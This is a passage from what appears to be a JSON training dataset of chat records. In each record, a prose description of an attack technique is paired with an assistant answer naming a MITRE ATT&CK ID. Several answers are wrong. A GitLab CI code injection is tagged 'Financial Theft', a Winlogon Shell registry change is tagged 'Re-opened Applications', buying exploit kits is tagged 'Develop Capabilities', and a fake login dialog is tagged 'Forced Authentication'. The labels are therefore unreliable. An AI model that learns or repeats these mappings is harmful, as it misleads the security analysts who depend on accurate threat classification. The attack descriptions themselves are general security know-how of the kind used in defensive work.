                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs automated WHOIS queries to map out the infrastructure hierarchy of a target organization’s domains."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators injected malicious code into the OS system image before deploying it to victim devices."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performs automated password guessing on local Linux accounts via su command."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code invokes the Docker Engine API’s \"GET /containers/json\" endpoint to list all containers and their statuses."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The APT group uses public-key encryption to protect the confidentiality of its command traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A series of malformed XML payloads are sent to a SOAP service, causing the parser to allocate excessive memory and crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider obtains the root access keys for an AWS account and uses them to launch EC2 instances to mine cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a network of compromised websites that embed malicious links and keywords to manipulate search engine rankings, causing users to click on phishing pages when searching for popular services."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker delivers a malicious macro-laden Excel file that exploits a vulnerability in the macro interpreter to gain client-side code execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggers a firmware-level command to clear the drive's partition map and format metadata."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a disposable phone number via online services to receive two-factor authentication codes."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs the \"sc queryex\" command to enumerate all services and then hijacks a low-privilege service for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware module reads messages in Microsoft Teams for API keys and forwards the findings to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware changes the image file execution options in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates traffic that follows the exact byte pattern of legitimate SSH banners, making malicious connections indistinguishable from legitimate ones."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By obtaining a compromised AWS Lambda execution role, the threat actor invoked GetSecretValue to download credentials for an Elasticsearch cluster."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers altered the Group Policy to lower the UAC level across the organization."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts the list of email accounts from the victim's Outlook profile by reading local PST files."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the registry's CachedHashes subkey to obtain domain credential material."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a web server and replaced the index.html file with a defacement page containing a political message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell commands to retrieve system configuration data, such as registry keys and system properties, from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a Windows file server by exploiting a known SMB vulnerability and then exfiltrated data using a custom PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool pulls BIOS serial number and hardware UUID via the \"wmic csproduct get uuid\" command."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a new entry to the Winlogon Shell registry value to replace explorer.exe with a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group accesses a gated community of cyber threat analysts to retrieve detailed attacker group profiles and strategic objectives."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors deploy a credential-stealing tool to obtain domain admin accounts, then use Outlook Web Access to download user mail archives."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a dialog into a web browser that mimics a legitimate site login, forcing the user to authenticate and submit their credentials to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a script with a hidden Unicode RLO character before the file extension, causing Windows Explorer to display it as a harmless .doc file."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleScript is used to extract Wi‑Fi network credentials stored on the machine and send them to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor purchases exploit kits to incorporate into their attack suite."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware variant uses a legitimate social media platform's API to post commands as messages and reads replies, achieving bidirectional command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealth module adjusts the CPU's interrupt flag to ignore any external interrupt that would terminate the malicious thread."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A command-line tool is used to downgrade the operating system's firewall rules, opening all inbound ports."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing a known flaw in a third‑party software component, the threat actor induces a denial of service on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A password spray campaign targeted the organization’s Office 365 accounts, successfully compromising several email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the NTDS.dit file on a Windows Server to dump all user password hashes for credential reuse."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised email account to send spearphishing emails to other employees within the organization."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installs a covert keylogger that captures every keystroke entered by the user and stores them locally."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a WMI event subscription that launches a command line tool each time a user logs on, providing stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary introduced a malicious script disguised as a signed PowerShell module, using an invalid signature to trick administrators."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds a malicious command to /etc/profile so that all users execute it on login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker initiates a direct remote desktop protocol connection to a GCP Compute Engine instance using its external IP address."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the target path of existing .lnk files with a command to launch ransomware, enabling the malicious code to run upon user interaction."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit obtains the system's fully qualified domain name (FQDN) and time zone settings for profiling."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor writes a complex bash function that obfuscates commands using base64 encoding before decoding and executing them in the Unix shell."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware drops a .reg file that sets the Safe Mode boot flag, causing the machine to start without security services running."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages DNS zone transfer attempts on misconfigured domains found in public DNS reconnaissance tools to discover internal hostnames and scan them."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary automates the generation of MFA challenges via an API to flood the victim's device with prompts, seeking a successful approval."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the victim's Thunderbird profile folder and copies the mbox files to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the system BIOS to disable the Trusted Platform Module, preventing hardware-based key protection."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers modify the system's PATH environment variable to point to a folder containing malicious executables, leading the target process to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used social media listening tools to track mentions of the company's new product on Twitter, extracting potential insider contact points."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool reads the Kerberos ticket-granting ticket cache and extracts the associated certificate for abuse."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder executed a remote code execution exploit on an outdated Apache module, which automatically installed a web shell for ongoing access."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages SMB relay techniques, forcing a target machine to authenticate to the attacker's system, capturing the NTLM challenge‑response."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use a custom script to generate a continuous stream of TCP SYN packets to overwhelm the victim's network interface, resulting in a denial‑of‑service condition."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary monitors the local network for LLMNR and NetBIOS name requests, injects spoofed responses, and captures NTLM challenge‑response hashes to later relay them to an SMB service."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged Regsvr32 to load a malicious COM object via a UNC path, allowing remote code execution on the target."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hijack a cloud‑based web application, modifying its pages to serve ransomware downloads to visitors."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor deployed a payload that mimics a known system utility but has an invalid code signature, enabling it to bypass security controls through masquerading."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Performing banner grabbing on remote services to identify software versions and configurations."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfigured S3 bucket to replace a serverless function's code."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a compromised GitLab CI pipeline to inject malicious code into the build process."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised FTP service, the group uploaded harvested database dumps to an external FTP server under a pseudonymous account."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured IIS virtual directory, the adversary placed a web shell that could be accessed without authentication."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor emailed a weaponized Microsoft Word document as an attachment, exploiting macro execution to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals exfiltrate and then destroy data to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a new Google Cloud service account and grants it storage.admin scope."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious XSL transformation is used to exfiltrate data by converting it into a format sent to an external server."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan uses a custom loader that parses the PE header to locate API stubs, then dynamically resolves calls like CreateProcessA during execution."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor obtains password hashes by dumping LSASS memory and parsing the LSA secret structures."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-middle proxy, the attacker intercepts HTTPS traffic, extracts the session cookie, and then replays it to bypass the login process for the target service."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is used to delete all user accounts from the Active Directory domain."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ the \"lsof -i\" command on Unix systems to discover processes with open network sockets."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor compromises a cloud VPS and uses it as a relay point for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
